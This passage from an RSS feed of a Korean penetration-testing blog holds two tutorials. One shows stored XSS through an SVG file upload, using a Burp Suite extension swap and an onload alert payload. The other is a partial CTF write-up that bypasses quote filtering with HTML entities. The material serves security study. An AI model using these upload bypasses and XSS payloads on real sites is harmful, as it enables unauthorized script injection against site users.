&lt;li&gt;파일 업로드 기능이 있는 게시판에 접속하여 글 작성 페이지 접속합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;629&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ScZBi/dJMcaia3hPq/wzWmmF0okuf8MA1kb21qIk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ScZBi/dJMcaia3hPq/wzWmmF0okuf8MA1kb21qIk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ScZBi/dJMcaia3hPq/wzWmmF0okuf8MA1kb21qIk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FScZBi%2FdJMcaia3hPq%2FwzWmmF0okuf8MA1kb21qIk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;400&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;629&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;먼저 php 파일을 업로드하면서 웹쉘 업로드가 가능한지 확인합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;620&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qn28P/dJMcaajMpV3/0g80OiYIR0hk1VukVbsYa1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qn28P/dJMcaajMpV3/0g80OiYIR0hk1VukVbsYa1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qn28P/dJMcaajMpV3/0g80OiYIR0hk1VukVbsYa1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fqn28P%2FdJMcaajMpV3%2F0g80OiYIR0hk1VukVbsYa1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;394&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;620&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;허용되지 않는 파일 형식이라고 화면에 출력되며 php 파일을 업로드할 수 없음을 확인할 수 있습니다. &lt;span style=&quot;color: #9d9d9d;&quot;&gt;&lt;i&gt;(이번 File Upload 공격은 SVG 파일을 이용한 XSS가 목적이므로 php 파일 우회는 다른 글을 참고해 주세요.)&lt;/i&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;707&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bhbjOl/dJMcaaYn6yS/hsm619vimtDMigwWdXbRwk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bhbjOl/dJMcaaYn6yS/hsm619vimtDMigwWdXbRwk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bhbjOl/dJMcaaYn6yS/hsm619vimtDMigwWdXbRwk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbhbjOl%2FdJMcaaYn6yS%2Fhsm619vimtDMigwWdXbRwk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;449&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;707&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이번엔 파일 업로드를 할 때 Burp Suite를 이용하여 Request를 가로챈 뒤에 확장자를 .svg 로 바꿔서 파일 업로드를 시도합니다. Response를 보면 php 파일은 안되지만 SVG 파일은 업로드할 수&amp;nbsp; 있음을 알 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;427&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1yigD/dJMcahb8lQ7/jFjPyxJortxkcyJy8Cy3D1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1yigD/dJMcahb8lQ7/jFjPyxJortxkcyJy8Cy3D1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1yigD/dJMcahb8lQ7/jFjPyxJortxkcyJy8Cy3D1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1yigD%2FdJMcahb8lQ7%2FjFjPyxJortxkcyJy8Cy3D1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;384&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;427&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;SVG 파일을 이용하여 XSS 공격을 하기 위해서는 파일 경로로 접근이 가능해야 합니다. 파일 다운로드와 같은 버튼이 있을 때 우클릭한 뒤 링크 주소 복사를 클릭하면 복사된 주소가 파일이 저장되어있는 경로입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;665&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bZwuJZ/dJMcacPslcr/9Hmb5XdbMP49PCikL6ALj0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bZwuJZ/dJMcacPslcr/9Hmb5XdbMP49PCikL6ALj0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bZwuJZ/dJMcacPslcr/9Hmb5XdbMP49PCikL6ALj0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbZwuJZ%2FdJMcacPslcr%2F9Hmb5XdbMP49PCikL6ALj0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;423&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;665&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;복사한 주소를 URL 주소창에 입력하고 접속하면 접속이 가능하며 어떤 에러가 화면에 출력되고 있는 것을 볼 수 있습니다. 해당 에러는 XML 파서 에러이므로 업로드한 파일이 SVG(XML)로 인식되고 있음을 알 수 있습니다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;676&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oDL8d/dJMcachBdKt/xDyWdbOreZt7QZNvVdulfk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oDL8d/dJMcachBdKt/xDyWdbOreZt7QZNvVdulfk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oDL8d/dJMcachBdKt/xDyWdbOreZt7QZNvVdulfk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoDL8d%2FdJMcachBdKt%2FxDyWdbOreZt7QZNvVdulfk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;430&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;676&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;SVG 파일 업로드가 가능하며 업로드된 파일 경로에도 접근이 가능한 상태입니다. XSS 공격을 시도하기 위해 파일 업로드할 때의 Request를 가로채서 확장자를 .svg 로 바꾸고 페이로드를 삽입합니다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;[페이로드]&lt;/span&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 56px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 56px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 56px;&quot;&gt;&lt;b&gt;페이로드 : &amp;lt;svg onload=&quot;alert('1')&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot;&amp;gt;&amp;lt;/svg&amp;gt; (확장자 .svg)&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;svg 태그와 이벤트 속성인 onload를 이용하여 스크립트를 실행하는 페이로드 입니다. xmlns는 네임스페이스(Namespace)를 선언하는 속성이며 SVG 규격에 따른 XML 문서라는 것을 알려주는 선언입니다. &quot;http://www.w3.org/2000/svg&quot; 은 SVG의 공식 네임스페이스 입니다.&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;(.svg 파일은 xmlns를 명시해줘야 XSS를 성공시킬 수 있습니다. xmlns을 명시하지 않으면 XSS가 발생하지 않습니다.)&lt;/span&gt;&lt;/i&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;페이로드를 삽입한 뒤 Request를 보내면 Response에 글 작성에 성공했다는 것을 볼 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;432&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cJTCmD/dJMcafSW1LK/pIJp0qNhJydXHdTIuLkCg0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cJTCmD/dJMcafSW1LK/pIJp0qNhJydXHdTIuLkCg0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cJTCmD/dJMcafSW1LK/pIJp0qNhJydXHdTIuLkCg0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcJTCmD%2FdJMcafSW1LK%2FpIJp0qNhJydXHdTIuLkCg0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;389&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;432&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이어서 파일 경로를 복사해 줍니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;598&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/baqcbj/dJMcafSW1Kd/lKPSMVH7y1bFAMtX538yGk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/baqcbj/dJMcafSW1Kd/lKPSMVH7y1bFAMtX538yGk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/baqcbj/dJMcafSW1Kd/lKPSMVH7y1bFAMtX538yGk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbaqcbj%2FdJMcafSW1Kd%2FlKPSMVH7y1bFAMtX538yGk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;380&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;598&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;복사한 파일 경로를 URL 주소창에 입력한 뒤 접속해줍니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;660&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HKHxG/dJMcadnesG6/kVdI9uTkaJA9ky1N4lQH0k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HKHxG/dJMcadnesG6/kVdI9uTkaJA9ky1N4lQH0k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HKHxG/dJMcadnesG6/kVdI9uTkaJA9ky1N4lQH0k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHKHxG%2FdJMcadnesG6%2FkVdI9uTkaJA9ky1N4lQH0k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;419&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;660&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;결과를 보면 파일 업로드로 올렸던 SVG 파일로 인해 스크립트가 실행되며 XSS가 발생하는 것을 볼 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;600&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ujlXd/dJMcaajM3gZ/pfAJJdERPHuZQlLvUKz0ZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ujlXd/dJMcaajM3gZ/pfAJJdERPHuZQlLvUKz0ZK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ujlXd/dJMcaajM3gZ/pfAJJdERPHuZQlLvUKz0ZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FujlXd%2FdJMcaajM3gZ%2FpfAJJdERPHuZQlLvUKz0ZK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;381&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;600&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>[WEB] 모의해킹/File Upload</category>
      <category>CTF</category>
      <category>file upload</category>
      <category>Stored XSS</category>
      <category>SVG</category>
      <category>XML</category>
      <category>모의해킹</category>
      <category>모의해킹 공부 정리</category>
      <category>크사</category>
      <category>파일 업로드</category>
      <category>파일업로드</category>
      <author>0xSecurity</author>
      <guid isPermaLink="true">https://code000.tistory.com/17</guid>
      <comments>https://code000.tistory.com/entry/File-Upload%ED%8C%8C%EC%9D%BC-%EC%97%85%EB%A1%9C%EB%93%9C-%EC%B7%A8%EC%95%BD%EC%A0%90%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%9C-XSS-%EA%B3%B5%EA%B2%A9-with-SVG#entry17comment</comments>
      <pubDate>Sun, 25 Jan 2026 23:05:52 +0900</pubDate>
    </item>
    <item>
      <title>x55.is(CTF) - XSS 문제 풀이 (4/4)</title>
      <link>https://code000.tistory.com/entry/x55isCTF-XSS-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4-44</link>
      <description>&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 링크&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;https://x55.is/brutelogic/lab/inside-handler.php?p=dddd&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;목표 &amp;amp; 사용 도구&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목표:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;alert 함수를 통해 경고창을 화면에 띄우는 것을 목표로 합니다.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용도구: &lt;/b&gt;개발자 도구&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 풀이&amp;nbsp; -&amp;nbsp; https://x55.is/brutelogic/lab/inside-handler.php?p=dddd&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;p 파라미터에 임의의 값을 입력하고 페이지에 접속해 보면 콘솔을 확인하라고 나옵니다. 개발자 도구 콘솔 탭에 들어가면 파라미터에 입력한 값이 콘솔 탭에 출력되고 있는 것을 볼 수 있습니다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;683&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/czYFr8/dJMcahiSQR5/E717rVYnrKbphwB1w1Ll50/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/czYFr8/dJMcahiSQR5/E717rVYnrKbphwB1w1Ll50/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/czYFr8/dJMcahiSQR5/E717rVYnrKbphwB1w1Ll50/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FczYFr8%2FdJMcahiSQR5%2FE717rVYnrKbphwB1w1Ll50%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;434&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;683&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;p 파라미터 값에&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;특수문자 4개 &amp;lt;, ', &quot;, &amp;gt;를 삽입하여 접속한 뒤 콘솔 탭에서 결과를 확인해 보면 싱글 쿼터, 더블 쿼터가 필터링 되어 출력이 되지 않고 있는 것을 알 수 있습니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;681&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kJ9zX/dJMcahwpOIW/N79E5CZDhbnG0ME11yuy0k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kJ9zX/dJMcahwpOIW/N79E5CZDhbnG0ME11yuy0k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kJ9zX/dJMcahwpOIW/N79E5CZDhbnG0ME11yuy0k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkJ9zX%2FdJMcahwpOIW%2FN79E5CZDhbnG0ME11yuy0k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;433&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;681&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;추가로 Elements 탭에서 코드를 확인해 보면 이벤트 속성인 onload가 있고 입력 값이 doSomething이라는 함수의 인자 값으로 들어가고 있는 것을 볼 수 있습니다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;687&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kJg2o/dJMcad1MQ4S/FVuGfiM1RToy9djfY1AKYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kJg2o/dJMcad1MQ4S/FVuGfiM1RToy9djfY1AKYk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kJg2o/dJMcad1MQ4S/FVuGfiM1RToy9djfY1AKYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkJg2o%2FdJMcad1MQ4S%2FFVuGfiM1RToy9djfY1AKYk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;437&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;687&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;해당 문제는 HTML 파서, JS 엔진에 작동 방식을 이용하여 해당 문제를 풀 수 있습니다. HTML 파서는 파싱 단계에서 HTML Entity를 만나게 되면 HTML Entity가 의미하는 문자로 변환하며 JS 엔진에서는 변환된 결과를 가지고 문법을 처리하게 됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 21px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 21px;&quot;&gt;HTML 파서 입장 : &amp;amp;#x0027 (HTML Entity - hex)을 보고 HTML Entity에 해당하는 문자인 싱글 쿼터&amp;nbsp;&lt;b&gt;&lt;span style=&quot;background-color: #dddddd;&quot;&gt; '&amp;nbsp;&lt;/span&gt;&lt;/b&gt; 로&amp;nbsp; 변환함.&lt;br /&gt;&lt;br /&gt;JS 엔진 입장 :&amp;nbsp;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;&lt;b&gt; '&lt;/b&gt;&amp;nbsp;&lt;/span&gt; 을 가지고 문법 처리&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;+) HTML Entity 치환 방식은 여러 개가 존재하며 현재 치환방식은 16진수(hex)로 치환한 방식입니다. 다른 HTML Entity 치환 방식을 사용해도 괜찮습니다.&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;br /&gt;HTML 파서&lt;/h4&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 17px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 17px;&quot;&gt;dddd&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&amp;amp;#x0027&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;JS 엔진&amp;nbsp;&lt;/h4&gt;
